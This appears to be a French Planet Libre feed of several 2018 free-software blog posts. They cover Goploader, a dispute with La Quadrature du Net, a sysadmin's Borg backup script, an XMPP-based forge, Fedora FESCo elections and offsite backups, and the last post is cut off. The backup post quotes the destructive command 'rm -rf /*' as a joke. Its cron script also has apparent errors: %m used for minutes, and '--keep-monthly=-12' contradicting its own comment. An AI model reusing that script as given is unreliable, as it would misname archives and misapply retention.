<p><a href="media/3df9782b.ot-2018-6-4-Simple-file-hosting-with-server-side-encryption-.png" data-original-source="http://blog.admin-linux.org/wp-content/uploads/2018/06/Screenshot-2018-6-4-Simple-file-hosting-with-server-side-encryption-.png"><img src="media/4e700618.6-4-Simple-file-hosting-with-server-side-encryption--300x208.png" data-original-source="http://blog.admin-linux.org/wp-content/uploads/2018/06/Screenshot-2018-6-4-Simple-file-hosting-with-server-side-encryption--300x208.png" alt="Screenshot Goploader" width="300" height="208" srcset="http://blog.admin-linux.org/wp-content/uploads/2018/06/Screenshot-2018-6-4-Simple-file-hosting-with-server-side-encryption--300x208.png 300w, http://blog.admin-linux.org/wp-content/uploads/2018/06/Screenshot-2018-6-4-Simple-file-hosting-with-server-side-encryption--620x430.png 620w, http://blog.admin-linux.org/wp-content/uploads/2018/06/Screenshot-2018-6-4-Simple-file-hosting-with-server-side-encryption-.png 759w" sizes="(max-width: 300px) 100vw, 300px"></a></p>
<p>Ou alors encore mieux, la démo en allant sur <a href="https://gpldr.in/">gpldr.in</a></p>
<p> </p>
<p>À noter que pour du transfert de fichier avec lien unique il y a aussi <a href="https://git.framasoft.org/luc/lufi/">Lufi</a> de <a href="https://fiat-tux.fr/">Luc Didry</a></p>
<p> </p>
<h3>Liens utiles :</h3>
<p><a href="https://gpldr.in/">Site Officiel et Démo de Goploader</a></p>
<p><a href="https://docs.gpldr.in/">Documentation de Goploader</a></p>
<p><a href="https://github.com/Depado/goploader">Github de Goploader</a></p>
<p>L'article <a rel="nofollow" href="http://blog.admin-linux.org/logiciels-libres/goploader-partage-de-fichier-et-secret">Goploader – Partage de fichier et secret</a> est apparu en premier sur <a rel="nofollow" href="http://blog.admin-linux.org/">L'admin sous GNU / Linux - Blog Libre</a>.</p>
<p><img src="media/75ae4d4a.48aaeccc25f494eda3d5467181dfbd63" data-original-source="http://cdn.libravatar.org/avatar/48aaeccc25f494eda3d5467181dfbd63" alt="Gravatar de Admin-Linux" class="gravatar" /><br/><i>Original post of <a href="http://blog.admin-linux.org/logiciels-libres/goploader-partage-de-fichier-et-secret" title="Visit the source">Admin-Linux</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>Uggy : <a href="">Droopy - Upload simple de fichier par HTTP</a> (22/10/2009)</li><li>Littlewing : <a href="">Effectuer une redirection permanente gr&acirc;ce au fichier htaccess</a> (09/10/2009)</li><li>Littlewing : <a href="">Mon fichier .emacs</a> (03/08/2010)</li><li>Bardamu : <a href="">T&eacute;l&eacute;chargez le fichier source de &laquo;&nbsp;Panorama des licences libres&nbsp;&raquo;</a> (13/12/2010)</li><li>Littlewing : <a href="">Mise &agrave; jour de mon fichier .emacs</a> (18/01/2011)</li></ul></div></p>


uri: blog-libre-Se-prendre-les-pieds-dans-le-tapis-le-blog-DSFC-s-emb
feed_id:
https://www.blog-libre.org/2018/06/05/se-prendre-les-pieds-dans-le-tapis-le-blog-dsfc-semballe-contre-la-quadrature-du-net/

title:
blog-libre : Se prendre les pieds dans le tapis : le blog DSFC s’emballe contre la Quadrature du Net

url:
https://www.blog-libre.org/2018/06/05/se-prendre-les-pieds-dans-le-tapis-le-blog-dsfc-semballe-contre-la-quadrature-du-net/

content:
<p>Je ne sais pas si vous avez suivi le billet <a href="https://www.dsfc.net/internet/la-quadrature-du-net-et-le-jeu-des-4-erreurs-au-moins" target="_blank" rel="noopener">La Quadrature du Net et le jeu des 4 erreurs, au moins !</a> de Denis Szalkowski (dont je recommandais <a href="http://damien.delurier.fr/2018/05/04/a-suivre-les-blogs-sur-le-numerique/" target="_blank" rel="noopener">le blog ici</a>) mais il est assez déroutant.</p>
<p>Il reproche à la Quadrature du Net d’utiliser les réseaux sociaux et plateformes des GAFAM pour lancer leur campagne de communication suite à l’action de groupe lancée contre ces mêmes GAFAM.</p>
<p>Le pire étant atteint dans les commentaires où le blogueur s’en prend assez violemment aux personnes ayant commenté, avec un niveau d’argumentation assez enfantin, voir ridicule par moment. J’avais du mal à croire ce que je lisais et la déception a été assez forte. Sur la fin, il tente une justification en expliquant que c’était de la dérision mais on sent bien que c’est pour rattraper le coup.</p>
<p>Le <a href="https://www.dsfc.net/internet/la-quadrature-du-net-et-le-jeu-des-4-erreurs-au-moins/#comment-49724" target="_blank" rel="noopener">meilleur commentaire</a>, relevant un peu le niveau de cette page, est de Elzen, membre de la Quadrature du Net, remettant pas mal de choses en perspective quant l’approche de son organisme et calmant l’attitude du blogueur lui-même.</p>
<p>Il est clair que la Quadrature du Net a besoin de la meilleur visibilité possible pour leur action de groupe. Si leur opération communication se limitait à Dailymotion, Mastodon et Diaspora*, le retentissement serait nul. Utiliser les outils des GAFAM pour leur mission est inévitable de mon point de vue.</p>
<p>Morale de l’histoire : quand on est dans un mauvais jour, il faut couper internet.</p>
<p><img src="media/25c7216e.1ea6f31074367d57d77721240d30fda9" data-original-source="http://cdn.libravatar.org/avatar/1ea6f31074367d57d77721240d30fda9" alt="Gravatar de blog-libre" class="gravatar" /><br/><i>Original post of <a href="https://www.blog-libre.org/2018/06/05/se-prendre-les-pieds-dans-le-tapis-le-blog-dsfc-semballe-contre-la-quadrature-du-net/" title="Visit the source">blog-libre</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>Littlewing : <a href="">Soutenir la quadrature du net</a> (24/01/2010)</li></ul></div></p>


feed_id: https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Les-sauvegardes-Billet-no4
title: genma : Devenir SysAdmin d'une PME - Les sauvegardes- Billet n°4
uri: genma-Devenir-SysAdmin-d-une-PME-Les-sauvegardes-Billet-n-4
url: https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Les-sauvegardes-Billet-no4
content:
<img alt="" src="https://blog.genma.fr/IMG/arton2758.jpg?1528056065" width="150" height="79"><div><p>Ce billet fait partie de la série :
<br><img src="https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300" width="8" height="11" alt="-"><a href="https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-retour-d-experience" title="Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0">Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0</a>
<br><img src="https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300" width="8" height="11" alt="-"><a href="https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Gestion-du-legacy-Billet-no1" title="Devenir SysAdmin d'une PME - Gestion du legacy- Billet n°1">Devenir SysAdmin d'une PME - Gestion du legacy- Billet n°1</a>
<br><img src="https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300" width="8" height="11" alt="-"><a href="https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Mineur-de-bitcoin-Billet-no2" title="Devenir SysAdmin d'une PME - Mineur de bitcoin- Billet n°2">Devenir SysAdmin d'une PME - Mineur de bitcoin- Billet n°2</a>
<br><img src="https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300" width="8" height="11" alt="-"><a href="https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Accepter-de-ne-pas-avoir-le-controle-sur-tout-Billet-no3" title="Devenir SysAdmin d'une PME - Accepter de ne pas avoir le contrôle sur tout- Billet n°3">Devenir SysAdmin d'une PME - Accepter de ne pas avoir le contrôle sur tout- Billet n°3</a></p>
<p><strong>Introduction</strong></p>
<p>Les sauvegardes... Ah les sauvegardes... Depuis que j'ai eu mon premier ordinateur et que j'ai perdu des données, j'ai appris très rapidement à faire des sauvegardes. Car il y a deux types d'administrateurs systèmes "celui qui a déjà fait un rm -rf /* et celui qui le fera".</p>
<p>J'ai écrit quelques billets au cours des années sur ce sujet, pour aider à savoir quoi sauvegarder etc. je vous mets la liste des principaux billets ici :
<br><img src="https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300" width="8" height="11" alt="-"><a href="https://blog.genma.fr/?A-I-2-Qu-est-ce-que-je-dois-sauvegarder" title="A.I.2 - Qu'est ce que je dois sauvegarder ?">A.I.2 - Qu'est ce que je dois sauvegarder ?</a>
<br><img src="https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300" width="8" height="11" alt="-"><a href="https://blog.genma.fr/?Sauvegarde-la-regle-des-3-2-1" title="Sauvegarde la règle des 3-2-1">Sauvegarde la règle des 3-2-1</a>
<br><img src="https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300" width="8" height="11" alt="-"><a href="https://blog.genma.fr/?L-importance-des-sauvegardes" title="L'importance des sauvegardes...">L'importance des sauvegardes...</a>
<br><img src="https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300" width="8" height="11" alt="-"><a href="https://blog.genma.fr/?Sauvegarde-et-restauration" title="Sauvegarde et restauration">Sauvegarde et restauration</a></p>
<p>Dans ce billet, je voudrais parler de quelques trucs sympa sur les sauvegardes.</p>
<p><strong>Borg pour la sauvegarde des fichiers</strong></p>
<p>Nombreux sont les outils pour les sauvegardes de fichers, des scripts maisons à base de rsync en passant par des outils plus évolués comme Duplicty, Rdiffbackup... Dans un précédent billet, j'évoquais <a href="https://blog.genma.fr/?Borg-comme-outil-de-sauvegarde" title="Borg comme outil de sauvegarde">Borg comme outil de sauvegarde</a>. Avec les semaines, je reste persuader et convaincu que Borg est l'outil idéal et permet de faire, d'une façon simple, des sauvegardes des fichiers (on exclue le cas des bases de données qui sera traiter dans un billet ultérieur). Et je ne suis pas le seul à le dire. Cet article <a href="https://www.sysnove.fr/blog/2016/06/backupninja-borg.html" title="Sauvegarder ses machines avec Borg et Backupninja">Sauvegarder ses machines avec Borg et Backupninja</a> présente par exemple les avantages de Borg <i>Contrairement à rdiff-backup qui a un algorithme basé sur rsync et fonctionne par incrémentation de version en version (ce qui interdit notamment de supprimer une version intermédiaire), BorgBackup utilise une technique de déduplication de morceaux (chunks). Au lieu de travailler par fichiers, il concatène (et compresse) tout ce qu'il y a à sauvegarder, pour le stocker par morceaux de 50Mo. Sans rentrer dans les détails, les intérêts sont multiples...</i></p>
<p>Le but de cette partie n'est pas de faire un tutoriel sur Borg, mais de parler de mon retour d'expérience sur le sujet en quelques mots. Je l'utilise au quotidien pour mes sauvegardes de mon poste professionnel mais également pour différents serveurs. C'est rapide, simple et efficace, pour gérer des sauvegardes de plusieurs gigas en sauvegarde chaque jour (avec peu de fichiers modifiés), ça prends quelques dizaines de secondes. Pour le cas des serveurs, j'ai mis en place un script shell on ne peut plus basique, qui fait appel à Borg. Un script du type de celui-ci est placé en tâche cron lancé chaque nuit. Si besoin, l'avantage de Borg est que l'on peut même faire une tâche cron qui se lance toutes les heures pour avoir une sauvegarde des fichiers toutes les heures. Ca ne prendra pas beaucoup de place et on aura toutes les sauvegardes dont on pourrait avoir besoin...</p>
<div dir="ltr"><code># on se place dans le répertoire ou l'on veut sauvegarder, qui est un montage d'un espace de stockage dédié partagé par SSH, monté en SSHFS<br> cd /Backup<br> # on lance la sauvegarde par borg qui s'effectue par un incrémental<br> borg create -v --stats ./::`date +%Y-%m-%d-%H:%m:%S` /le_dossier_a_sauvegarder --show-rc -v >> /tmp/mailreport.txt 2>&amp;1<br><br> # Purge des anciennes sauvegardes, on garde sur 7 jours, 1 par semaine pendant 4 semaine, 1 par an<br> borg prune -v --list --keep-daily=7 --keep-weekly=4 --keep-monthly=-12 .<br><br> # Pur avoir la liste des sauvegardes dans le mail de rapport de la sauvegarde<br> echo -e "Liste des Sauvegardes\\n" >> /tmp/mailreport.txt<br> borg list . >> /tmp/mailreport.txt<br><br> # envoie du rapport par courriel<br> sendemail -f expediteur@domaine.com -u "Sauvegarde du serveur XXXX - Daily Report" -t destinataire@domaine.com -s smtp.domaine.com -o message-file=/tmp/mailreport.txt</code></div>
<p>Pour répondre à <a href="https://blog.genma.fr/?Sauvegarde-la-regle-des-3-2-1" title="Sauvegarde la règle des 3-2-1">la règle des 3, 2, 1</a>, il faut donc avoir une copie externalisée qui est une copie / réplication de l'espace de stockage qui reçoit toutes les sauvegardes. A voir ce que l'on met en place : disque répliqué à l'identique, service de stockage haute-disponibilité...</p>
<p><strong>Sauvegarde de la configuration</strong></p>
<p>Pour l'instant, ce que je fais, c'est un export via Scp de tout /etc des différents serveurs avec la remontée des fichiers de configuration dans un dossier nommé selon le serveur dans un projet dédié dans un Gitlab. Ca se scripte assez bien pour avoir le scp, un git commit... Je fais <i>au plus facile</i> pour l'instant mais je pense. Pourquoi pas Borg ? Car git permet d'avoir l'historique et de comparer facilement les fichiers là où Borg permet de conserver l'ensemble d'une arborescence à un instant t, une sorte de snapshot, mais il faudrait montrer plusieurs sauvegardes pour faire les comparaisons fichier à fichier..</p>
<p>Je réfléchis à la mise en place d'un outil comme Etckeeper pour avoir une autre automatisation, il faut encore que j'étudie ça.<br><i>etckeeper est un système conçu pour suivre la configuration d'une machine (répertoire /etc, d'où le nom) à l'aide d'un gestionnaire de versions(par exemple Git).</i><br>
Deux tutoriaux sur le sujet :
<br><img src="https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300" width="8" height="11" alt="-"><a href="https://www.grenode.net/Documentation_technique/Divers/etckeeper/" title="Etckeeper sur le site de l'association Grenode">Etckeeper sur le site de l'association Grenode</a>
<br><img src="https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300" width="8" height="11" alt="-"><a href="https://blog.syloe.com/installer-un-outil-etckeeper/" title="Etckeeper sur le blog Syloe.com">Etckeeper sur le blog Syloe.com</a></p>
<p><strong>Sauvegarde des bases de données</strong></p>
<p>Du classique, un script, une tâche cron pour faire un export Dump sur un espace de stockage... Je pense que je développerai ce sujet dans un billet une prochaine fois.</p>
<p>Une sauvegarde complète (un snapshot par exemple pour une VM) et des sauvegardes régulières des éléments changeants</p>
<p><strong>Snapshots</strong></p>
<p>Dans mon billet <a href="https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Gestion-du-legacy-Billet-no1" title="Devenir SysAdmin d'une PME - Gestion du legacy- Billet n°1">Devenir SysAdmin d'une PME - Gestion du legacy- Billet n°1</a>, je parlais de machines virtuelles sur des hyperviseurs. Je gère ces machines virtuelles comme des serveurs et j'applique donc au fur et à mesure l'homogénéisation de la sauvegarde en mettant Borg en place partout.<br>
Il est important de pouvoir remonter rapidement un service et avec une V.M., c'est assez simple. Un snapshot régulier (je travaille à scripter l'automatisation et la rotation de ces snapshots sur Xen, je ferai un billet sur le sujet), le delta de la VM correspondant à ce qui est sauvegarder de façon journalière. Je n'ai donc qu'à restaurer la VM, à réappliquer les mises à jours de l'OS, éventuellement restaurer les données et les fichiers de configuration et tout est bon.</p>
<p>A noter que je ne considère pas le snapshot comme une sauvegarde mais comme un complément de sauvegarde. Le snapshot ne suffit pas comme la sauvegarde ne suffit pas. Si il faut réinstaller tout une machine avec tous les services... Quoiqu'avec le tournant qu'apporte le Devops et la gestion en mode PAAS, la création de VM à la demande et l'industrialisation à venir... Bref, encore plein d'autres sujets à aborder dans les prochaines semaines et prochains mois... A suivre.</p></div>
<p><img src="media/42493842.dd4318d0d3a7d2ffb13756f63b76d85d" data-original-source="http://cdn.libravatar.org/avatar/dd4318d0d3a7d2ffb13756f63b76d85d" alt="Gravatar de genma" class="gravatar" /><br/><i>Original post of <a href="https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Les-sauvegardes-Billet-no4" title="Visit the source">genma</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


feed_id: https://www.goffi.org/b/khii3yEKWDhmNYSDt5GGrY/vers-forge-decentralisee-basee-xmpp
title: Goffi : Vers une forge décentralisée basée sur XMPP
uri: Goffi-Vers-une-forge-décentralisée-basée-sur-XMPP
url: https://www.goffi.org/b/khii3yEKWDhmNYSDt5GGrY/vers-forge-decentralisee-basee-xmpp
content:
                    <div><p>Avec la récente annonce concernant le changement de propriétaire de la plus grosse forge centralisée connue, on a vu resurgir ici et là des questionnements sur la création d'un outil similaire mais décentralisé.</p>
<p>J'ai profité de l'occasion pour rappeler <a href="https://www.goffi.org/b/68025fd2-6cfe-462a-948c-c170c344468b/tickets-merge-requests-bases-xmpp-avec">le travail effectué pour implémenter tickets et requêtes de fusion (« merge requests »)</a> dans <a href="https://salut-a-toi.org/">Salut à Toi</a> (SàT), travail qui était passé relativement inaperçu quand j'ai écrit à ce sujet, il y a 6 mois.</p>
<p>Désormais je souhaite apporter quelques précisions sur le pourquoi de ces outils.</p>
<p>Tout d'abord pourquoi pas la grosse forge ? Après tout une importante partie des logiciels libres actuels l'utilise déjà !<br>
D'une part parce que ce n'est pas libre, et nous nous sommes engagés dans notre <a href="https://salut-a-toi.org/social_contract.html">contrat social</a> à utiliser tant que possible des logiciels libres, y compris pour l'infrastructure. D'autre part parce que c'est centralisé, et là encore notre contrat social est clair à ce sujet, même si c'est moins essentiel pour l'infrastructure que pour SàT lui-même. Enfin parce que nous utilisons à l'heure actuelle Mercurial, et que la forge la plus connue est construite autour de Git.<br>
Ne cachons pas toutefois que nous nous sommes déjà posés la question notamment en assemblée générale (cf. <a href="https://repos.goffi.org/sat_docs/file/tip/association">les comptes rendus</a>), nous étions intéressés en particulier par la visibilité.</p>
<p>« C'est centralisé ? Mais « Git » est décentralisé ! » est une réflexion que l'on entend souvent et elle est vraie, Git (et Mercurial, et d'autres) est décentralisé. Mais une forge n'est pas le gestionnaire de version, c'est tous les outils autour : hébergement, tickets, gestion des modifications (merge/pull requests), commentaires, wikis, etc. Et ces outils là ne sont pas décentralisés à l'heure actuelle, et même s'ils sont souvent accessibles par des API spécifiques aux services, ils restent soumis aux lois de la centralisation, c'est-à-dire du service qui héberge (et des aléas techniques de ce service). Cela veut également dire que si le service ne veut pas d'un projet, il peut le refuser, l'effacer, le bloquer.</p>
<p>La centralisation, c'est aussi la facilité pour cataloguer et rechercher… pour les projets qui sont sur ce service. Rendant de facto toute tentative extérieure moins visible et donc augmentant ses difficultés. C'est une situation que nous connaissons bien avec Salut à Toi (nous sommes également absents des « réseaux sociaux » propriétaires et centralisés pour les mêmes raisons), et que nous jugeons inacceptable. Il va sans dire que se concentrer sur une plateforme ne fait qu'encourager et prolonger cet état de fait. Notons tout de même qu'il n'est pas question ici de dénigrer ceux qui ont fait des choix différents, ces réflexions étant liées à notre implication politique forte et les contraintes changent d'un cas à l'autre.</p>
<p>Pourquoi, alors, ne pas utiliser des projets libres existants, avancés et fonctionnels comme Gitlab ? D'une part parce que nous travaillons avec Mercurial et non Git, et d'autre part parce que nous serions là aussi dans la centralisation. Il y a une autre raison : c'est qu'il n'existe pas ou peu (Fossil peut être ?) de forges décentralisées, et nous avons déjà tout ce qu'il nous faut avec SàT et XMPP. Et puis il y a un certain plaisir à créer les outils qui nous manquent.</p>
<p>SàT se veut un écosystème complet, offrant la majeure partie si ce n'est tous les outils nécessaires pour s'organiser et communiquer. Mais il est aussi générique et réutilisable. C'est pourquoi le système de « merge requests » n'est pas lié à un outil particulier (Git ou Mercurial), il peut être utilisé avec d'autre logiciels, et n'est d'ailleurs par réservé au développement de code. C'est une autre brique qui sera utilisée là où ça sera utile.</p>
<p>Pour conclure, je rappelle que si vous voulez voir une alternative décentralisée, éthique et engagée pour construire nos logiciels, nous organiser et communiquer, on peut la rendre possible en coopérant et contribuant, que ce soit avec du code, de la conception graphique (design), des traductions de la documentation des tests, etc.<br>
Nous avons récemment eu de l'aide pour l'empaquetage sur Arch (merci à <a href="http://blog.agayon.be/">jnanar</a> et aux mainteneurs précédents), et il y a des efforts continus pour l'empaquetage sur Debian (merci à Robotux, Naha, Debacle et les autre empaqueteur XMPP sur Debian). Si vous pouvez participer, merci de regarder comment nous contacter sur le <a href="https://salut-a-toi.org/community.html">site officiel</a>), ensemble on peut faire la différence.<br>
Si vous manquez de temps, vous pouvez aussi nous soutenir sur Liberapay: <a href="https://liberapay.com/salut_a_toi">https://liberapay.com/salut_a_toi</a>. Merci d'avance !</p></div>
                    
<p><img src="media/5b1e2ea8.1e4b13af438df6baa729681700f11a05" data-original-source="http://cdn.libravatar.org/avatar/1e4b13af438df6baa729681700f11a05" alt="Gravatar de Goffi" class="gravatar" /><br/><i>Original post of <a href="https://www.goffi.org/b/khii3yEKWDhmNYSDt5GGrY/vers-forge-decentralisee-basee-xmpp" title="Visit the source">Goffi</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>Goffi : <a href="">Construisez un internet d&eacute;centralis&eacute; avec Libervia (Salut &agrave; Toi) !</a> (26/01/2018)</li><li>Goffi : <a href="">Le partage de fichiers arrive dans la prochaine version de Salut &agrave; Toi</a> (28/05/2018)</li><li>Goffi : <a href="">Importer un blog Dotclear dans XMPP</a> (23/03/2016)</li><li>Goffi : <a href="">Publiez sur votre blog XMPP depuis Libervia ou jp (S&agrave;T)</a> (24/03/2016)</li><li>Goffi : <a href="">Ligne de commande: envoyez vos tubes (pipes) par XMPP (avec vid&eacute;o)</a> (07/10/2011)</li></ul></div></p>


feed_id: https://blog.fedora-fr.org/renault/post/%C3%89lections-pour-le-FESCo-cette-semaine
title: Renault : Élections pour le FESCo cette semaine
uri: Renault-Élections-pour-le-FESCo-cette-semaine
url: https://blog.fedora-fr.org/renault/post/%C3%89lections-pour-le-FESCo-cette-semaine
content:
<p><a href="https://blog.fedora-fr.org/renault/post/%C3%89lections-pour-le-Conseil-et-Mindshare-cette-semaine" hreflang="fr">Après les élections du Mindshare et du Council qui se sont
conclues cette nuit</a>, voici le tour du FESCo d’ouvrir sa période de vote
aujourd’hui pour une semaine aussi.</p>
<p>Chaque candidat a bien sûr un programme et un passif qu'ils souhaitent
mettre en avant durant leur mandat pour orienter le projet Fedora dans
certaines directions. Je vous invite à étudier <a href="https://communityblog.fedoraproject.org/category/elections/" hreflang="en">les
propositions des différents candidats pour cela.</a></p>
<p><img src="media/195eec9b.Vote.png" data-original-source="https://blog.fedora-fr.org/public/renault/Vote.png" alt="J'ai voté" title="J'ai voté, déc. 2008"></p>
<p>Pour voter, il est nécessaire d'avoir un <a href="https://admin.fedoraproject.org/accounts/home" hreflang="fr">compte FAS
actif</a> et de faire son choix <a href="https://admin.fedoraproject.org/voting" hreflang="en">sur le site du
scrutin</a>. Vous avez jusqu'au jeudi 13 juin à 2h heure française pour le
faire. Donc n'attendez pas trop.</p>
<h3>FESCo</h3>
<p>Le <a href="https://fedoraproject.org/wiki/Fedora_Engineering_Steering_Committee?rd=FESCo" hreflang="en">FESCo (Fedora Engineering Steering Committee)</a> est un conseil
entièrement composé de membres élus et totalement dévoués à l'aspect technique
du projet Fedora.</p>
<p>Ils vont donc traiter en particulier les points suivants :</p>
<ul><li>Les nouvelles fonctionnalités de la distribution ;</li>
<li>Les sponsors pour le rôle d'empaqueteur (ceux qui pourront donc superviser
un débutant) ;</li>
<li>La création et la gestion des <a href="https://fedoraproject.org/wiki/Category:SIGs?rd=SIGs" hreflang="en">SIGs
(Special Interest Group)</a> pour organiser des équipes autour de certaines
thématiques ;</li>
<li>La procédure d'empaquetage des paquets.</li>
</ul><p>Le responsable de ce groupe est tournant. Les 9 membres sont élus pour un
an, sachant que chaque élection renouvelle la moitié du collège.</p>
<p><img src="media/d143d7a6.f792a7629fb4a46c01613eb1976730ef" data-original-source="http://cdn.libravatar.org/avatar/f792a7629fb4a46c01613eb1976730ef" alt="Gravatar de Renault" class="gravatar" /><br/><i>Original post of <a href="https://blog.fedora-fr.org/renault/post/%C3%89lections-pour-le-FESCo-cette-semaine" title="Visit the source">Renault</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>Renault : <a href="">Votez cette semaine pour le FESCo et le Conseil de Fedora !</a> (19/07/2016)</li><li>Renault : <a href="">R&eacute;sultats des &eacute;lections de Fedora</a> (29/01/2017)</li><li>Renault : <a href="">Petit probl&egrave;me dans les &eacute;lections du FAmSCo</a> (06/03/2017)</li><li>Renault : <a href="">&Eacute;lections pour le Conseil, FESCo et FAmSCo cette semaine</a> (08/08/2017)</li><li>Renault : <a href="">R&eacute;sultats des &eacute;lections de Fedora 08/17</a> (22/08/2017)</li></ul></div></p>


title: blog-libre : Quelques réflexions autour de l’externalisation des sauvegardes
uri: blog-libre-Quelques-réflexions-autour-de-l-externalisation-des-sa
feed_id:
https://www.blog-libre.org/2018/06/09/quelques-reflexions-autour-de-lexternalisation-des-sauvegardes/

url:
https://www.blog-libre.org/2018/06/09/quelques-reflexions-autour-de-lexternalisation-des-sauvegardes/

content:
<p><a href="http://sebsauvage.net/" rel="noopener" target="_blank">Sebsauvage</a> a publié sur son wiki sa <a href="http://sebsauvage.net/wiki/doku.php?id=cloud" rel="noopener" target="_blank">recherche</a> d’un petit cloud perso pour y stocker des données personnelles (2 To). </p><p>Une majorité d’entre nous fait ses sauvegardes sur un disque dur interne/externe ou sur un NAS. Données et sauvegardes sont situées au même endroit physique, il peut arriver un événement rare (mais pas impossible) comme un incendie ou un cambriolage => gros fail. On en conclue qu’on a besoin d’externaliser nos sauvegardes. </p><h3></h3><h3>Identifier et formaliser</h3><p>Il faut <strong>vraiment</strong> prendre le temps d’identifier et formaliser. Prenons le cas de Sebsauvage. </p><p><strong>Public visé</strong> : Informaticien<br><strong>Ressources et moyens</strong> : Connaissances en informatique et <a href="https://www.blog-libre.org/2018/05/26/lignux/" rel="noopener" target="_blank">Lignux</a>, usage de <a href="http://sebsauvage.net/wiki/doku.php?id=borgbackup" rel="noopener" target="_blank">BorgBackup</a>, prêt à payer pour son besoin<br><strong>Contexte</strong> : Personnel pas professionnel (environnement), pas urgent (délai), assez important (priorité), actuellement chez hubiC (analyse de l’existant)<br><strong>Besoin</strong> : Avoir un système de sauvegarde efficace (et pas simplement “faire des sauvegardes”) pour 2 To de données<br><strong>Corollaires</strong> : Identifier les outils pour effectuer des sauvegardes, restaurer les données, tester la restauration des sauvegardes, externaliser les sauvegardes<br><strong>Contraintes</strong> : Coût limité (typiquement pas plus de 10 euros par mois), accès par protocole ouvert (ssh/sftp/ftp/webdav/rsync…)<br><strong>Tolérance</strong> : Se moque des performances et de la disponibilité<br><strong>Idéal</strong> : Le moins coûteux possible (argent et temps), <a href="https://fr.wikipedia.org/wiki/Principe_KISS" rel="noopener" target="_blank">principe KISS</a><br><strong>Inconnus</strong> : Pas d’information sur la volumétrie de données à envoyer ni sur le planning (récurrence/fréquence) des sauvegardes ni sur leurs utilisations</p><p>Ce que je viens d’écrire est relativement simple mais on a grandement précisé les choses via 4 axes :</p><ul><li><strong>Situation de base</strong> : Public visé, ressources et moyens, contexte</li><li><strong>Besoin</strong> : Besoin et corollaires, ce dernier étant souvent oublié</li><li><strong>Attentes</strong> : Contraintes, tolérance (marge de manœuvre), idéal</li><li><strong>Inconnus</strong> : Il est très rare d’avoir toutes les informations en main, souvent même les principaux intéressés ne savent pas</li></ul><p>On fournit une solution par rapport à un public, des ressources et des moyens à disposition, un contexte et un besoin. Sauvegarder 50 Go ou 2 To, ce n’est pas le même besoin donc le même problème à résoudre. De même un débutant n’aura pas les mêmes connaissances en informatique qu’un informaticien, une entreprise n’aura pas les mêmes moyens qu’un particulier. Il est nécessaire d’adapter la solution à chaque cas.</p><p>On cherche à faire des sauvegardes (niveau 1) puis ensuite à avoir un système de sauvegarde efficace (niveau 2). Il y a une logique de progression mais aussi de priorités. Avant de penser à externaliser, il faut que votre processus “faire des sauvegardes” soit rodé et satisfaisant. Je vous renvoie à <a href="https://blog.genma.fr/?Sauvegarde-la-regle-des-3-2-1" rel="noopener" target="_blank">la règle des 3-2-1</a>.</p><h3></h3><h3>Considérer les solutions</h3><p>Je ne vais me concentrer que sur les principaux inconvénients d’externaliser ses données personnelles dans le cloud en me basant sur le <a href="http://sebsauvage.net/wiki/doku.php?id=cloud" rel="noopener" target="_blank">cas</a> de Sebsauvage (je vous invite fortement à lire son article avant les lignes ci-dessous) :</p><ul><li>Idéalement il faut une fibre, au minimum une “bonne” connexion ADSL parce que 2 To il faut pouvoir les uploader déjà</li><li>On devient tributaire d’un tiers, ce tiers (société, <a href="https://chatons.org/" rel="noopener" target="_blank">CHATONS</a>, association…) peut fermer, revoir ses offres, bannir l’utilisateur ou une utilisation précise qui ne lui conviendrait pas et il est soumis à la législation de son pays</li><li>Le chiffrement logiciel est une obligation pas une option, le chiffrement matériel n’est pas possible</li><li>La disponibilité des données peut varier : 1/ Suivant où on se trouve sur le globe et notre connexion, on mettra plus ou moins de temps à récupérer les données 2/ Les données sont “gelées” (stockage froid), on peut les “dégeler” avec un délai de quelques minutes à plusieurs heures</li><li>Il faut accepter de confier ses données à un tiers. Je ne souhaite pas envoyer les photos de mes proches même chiffrées dans un cloud. Pour rappel le chiffrement ne fait que rendre suffisamment coûteux en temps et ressources l’accès aux données. Dans 10 ans il est probable que les algorithmes de chiffrement qu’on utilise aujourd’hui seront dépréciés et que l’on pourra à un coût raisonnable (délai et puissance) déchiffrer les données</li><li>Vérifier l’intégrité des données reçues sur le cloud du tiers est coûteux : Temps, éventuellement argent si c’est le paiement à l’usage qui est utilisé</li><li>Le paiement à l’usage tend à se généraliser mais ne soyez pas dupes, ce qu’on gagne en économie, on le perd en compréhension, visibilité et prévision des coûts. D’ailleurs on constate un glissement lexical de prévision des coûts à simulation/estimation des coûts. C’est complexe (adieu simplicité) et également trompeur (adieu 